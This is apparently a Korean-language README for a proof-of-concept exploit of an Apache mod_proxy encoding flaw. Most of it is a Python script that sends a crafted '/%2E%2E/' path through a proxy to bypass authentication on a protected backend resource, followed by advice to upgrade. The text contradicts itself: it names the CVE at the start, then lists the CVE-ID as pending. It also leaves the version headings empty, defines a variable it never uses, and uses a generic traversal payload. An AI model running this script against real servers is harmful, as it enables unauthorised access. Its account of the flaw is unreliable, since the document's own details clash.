
Apache HTTP Server mod_proxy의 인코딩 취약점(CVE-2024-38473)을 시연하는 개념 증명 스크립트로, 조작된 요청 URL을 통해 백엔드 서비스에 대한 인증 우회를 가능하게 합니다.
이 저장소는 Apache HTTP Server 2.4.59 및 이전 버전의 mod_proxy 모듈에서 발생하는 인코딩 문제를 시연하기 위한 PoC(Proof of Concept) 스크립트를 포함하고 있습니다. 이 취약점은 잘못된 인코딩이 포함된 요청 URL이 백엔드 서비스로 전송되도록 하여, 조작된 요청을 통해 인증을 우회할 가능성이 있습니다.
CVE-ID: (Pending)
개요:
Apache HTTP Server 2.4.59 및 이전 버전의 mod_proxy 모듈에서 발생하는 인코딩 문제로 인해 잘못된 인코딩이 포함된 요청 URL이 백엔드 서비스로 전송될 수 있습니다. 이로 인해 조작된 요청을 통해 인증 메커니즘이 우회될 가능성이 있습니다. 사용자는 이 문제를 해결한 버전 2.4.60으로 업그레이드하는 것을 권장합니다.
영향을 받는 버전:
수정된 버전:
requests 라이브러리 (pip install requests)백엔드 서비스 식별:
http://backend-service.example.com에 있다고 가정합니다.악성 요청 제작:
PoC 스크립트 실행:
mod_proxy_poc.py로 저장하고 실행합니다.다음은 취약점을 시연하는 Python 스크립트입니다:
import requests
# Configuration
proxy_url = "http://proxy-server.example.com" # Change this to the proxy server's URL
backend_service_path = "/protected/resource" # The path to the protected resource on the backend service
malicious_path = "/%2E%2E/protected/resource" # Incorrectly encoded path to bypass authentication
# Malicious request to be sent via the proxy server
malicious_url = f"{proxy_url}{malicious_path}"
def send_malicious_request():
try:
# Send the crafted request to the proxy server
response = requests.get(malicious_url)
# Print the response details
print("Status Code:", response.status_code)
print("Response Headers:", response.headers)
print("Response Body:", response.text)
if response.status_code == 200:
print("[+] Successfully bypassed authentication and accessed the protected resource.")
else:
print("[-] Failed to bypass authentication.")
except Exception as e:
print("[-] An error occurred:", str(e))
if __name__ == "__main__":
send_malicious_request()
설정:
proxy_url: 프록시 서버의 URLbackend_service_path: 백엔드 서비스의 보호된 리소스 경로malicious_path: 인증을 우회하기 위한 잘못 인코딩된 경로send_malicious_request:
이 취약점을 완화하려면 mod_proxy 모듈의 인코딩 문제를 수정한 Apache HTTP Server 2.4.60 버전으로 업그레이드하십시오.
소프트웨어를 최신 상태로 유지하고 보안 모범 사례를 따르면 mod_proxy 모듈의 인코딩 문제와 같은 취약점을 예방할 수 있습니다.